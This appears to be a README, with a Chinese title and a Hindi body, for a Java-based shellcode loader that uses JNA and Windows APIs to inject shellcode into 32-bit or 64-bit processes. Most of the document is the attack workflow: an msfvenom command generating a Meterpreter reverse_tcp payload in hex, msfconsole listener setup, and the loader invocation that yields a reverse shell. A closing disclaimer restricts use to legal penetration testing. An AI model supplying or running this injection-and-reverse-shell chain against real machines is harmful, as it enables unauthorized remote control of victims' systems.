
基于Java实现的Shellcode加载器
Java-आधारित शेलकोड लोडर, 32-बिट तथा 64-बिट प्लेटफ़ॉर्मों के साथ संगत।
मूल सिद्धांत ShellCode इंजेक्ट करने के लिए Windows API को कॉल करने हेतु Jna का उपयोग करना है।
रनटाइम वातावरण: Jre >= 1.5
नोट: यह प्रोजेक्ट पहले से ही yzddmr6/As-Exploits के ShellCodeLoader मॉड्यूल में निर्मित है।
maven package
डिफ़ॉल्ट रूप से यह यादृच्छिक रूप से 32-बिट प्रोसेस में इंजेक्ट करेगा, कृपया 32-बिट शेलकोड का उपयोग करें
java -jar ShellcodeLoader.jar shellcode_hex
x64 शेलकोड इंजेक्ट करें
java -jar ShellcodeLoader.jar --x64 shellcode_hex
hex प्रारूप में ShellCode जनरेट करें
┌──(root💀kali)-[~]
└─# msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.10 LPORT=4444 -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of hex file: 708 bytes
fce88f0000006089e531d2648b5....
फिर लिसनिंग शुरू करें
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.88.10
set LPORT 4444
exploit -j
java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5....
इससे रिवर्स Meterpreter प्राप्त हो जाएगा

यह प्रोजेक्ट केवल वैध पेनेट्रेशन टेस्टिंग और उत्साही लोगों के संदर्भ अध्ययन के लिए है। कृपया इसे अवैध उद्देश्यों के लिए उपयोग न करें, अन्यथा संबंधित जिम्मेदारी स्वयं वहन करें।